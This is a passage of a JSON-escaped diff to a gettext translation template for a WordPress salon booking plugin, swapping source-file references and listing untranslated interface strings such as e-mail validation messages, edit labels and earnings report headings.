..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:5\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant.php:27\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:36\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:33\n+msgid \"E-mail\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:138, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:138, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:138, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:138, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:138, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:138\n-msgid \"Execution Order\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:533\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:533\n+msgid \"e-mail can't be empty\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:143, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:143, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:143\n-msgid \"Use a number to give this service an order of execution compared to the other services.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:141\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:111\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:141\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:111\n+msgid \"E-mail exists\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:144, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:144, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:144, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:144, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:144, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:144\n-msgid \"Consider that this option will affect the availability of your staff members that you have associated with this service.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:265\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:542\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:255\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:103\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:265\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:542\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:255\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:103\n+msgid \"e-mail is not valid\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:152, views\u002Fmetabox\u002Fservice.php:153, views\u002Fmetabox\u002F_booking_services.php:171, views\u002Fmetabox\u002F_booking_services.php:319, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:152, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:153, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_booking_services.php:171, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_booking_services.php:319, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:152, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:153, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:171, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:319, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:152, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:153, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_booking_services.php:171, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_booking_services.php:319, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:152, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:153, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_booking_services.php:171, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_booking_services.php:319, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:152, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:153, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_booking_services.php:171, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_booking_services.php:319\n-msgid \"No assistant required\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendNotification.php:20\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendPaymentNotification.php:18\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendNotification.php:20\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendPaymentNotification.php:18\n+msgid \"E-mail sent\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:158, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:158, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:158, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:158, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:158, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:158\n-msgid \"Parallel execution\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:362\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:362\n+msgid \"\"\n+\"e.g. In case of delay we will take your seat for 15 minutes, then your \"\n+\"booking priority will be lost\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:175, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:175, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:175, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:175, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:175, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:175\n-msgid \"Multiple attendats\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:400\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:400\n+msgid \"\"\n+\"e.g. You will receive a booking confirmation by email.If you do not receive \"\n+\"an email in 5 minutes, check your Junk Mail or Spam Folder. If you need to \"\n+\"change your reservation, please call \u003Cstrong>[SALON PHONE]\u003C\u002Fstrong> or send \"\n+\"an e-mail to \u003Cstrong>[SALON EMAIL]\u003C\u002Fstrong>\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:181, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:181, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:181, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:181, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:181, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:181\n-msgid \"Minimum amount\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:345\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:345\n+msgid \"e.g., 46701234567\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:207, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:207, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:207, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:207, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:207, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:207\n-msgid \"Service Offset\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:186\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:186\n+msgid \"Each IP address is limited to 5 booking attempts within 5 minutes\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:208, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:208, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:208, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:208, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:208, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:208\n-msgid \"If enabled, create a block between two consecutive reservations for this service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:17\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:17\n+msgid \"Earnings\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:214, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:214, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:214, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:214, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:214, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:214\n-msgid \"Offset Timing\"\n+#. %s will be replaced by the currency string\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:30\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:27\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByServicesReport.php:26\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByAssistantsReport.php:26\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:30\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:27\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByServicesReport.php:26\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByAssistantsReport.php:26\n+#, php-format\n+msgid \"Earnings (%s)\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:217, views\u002Fmetabox\u002Fservice.php:218, views\u002Fmetabox\u002Fservice.php:219, views\u002Fmetabox\u002Fservice.php:220, views\u002Fsettings\u002F_availability_preview.php:33, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:217, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:218, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:219, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:220, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_availability_preview.php:33, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:217, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:218, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:219, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:220, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_preview.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:217, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:218, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:219, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:220, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_availability_preview.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:217, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:218, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:219, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:220, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_availability_preview.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:217, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:218, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:219, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:220, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_availability_preview.php:33\n-msgid \"minutes\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:114\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:220\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:114\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:220\n+msgid \"Edit\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:254, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:254, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:254, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:254, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:254, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:254\n-msgid \"Service lock\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:252\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:252\n+msgid \"Edit Assistant\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:255, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:255, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:255, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:255, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:255, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:255\n-msgid \"If enabled, new bookings for this service are locked for the time range defined in the settings.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:676\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:676\n+msgid \"Edit Booking\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:261, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:261, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:261, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:261, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:261, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:261\n-msgid \"Lock Timing\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:421\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:85\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:421\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:85\n+msgid \"Edit booking\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:288, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:288, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:288, 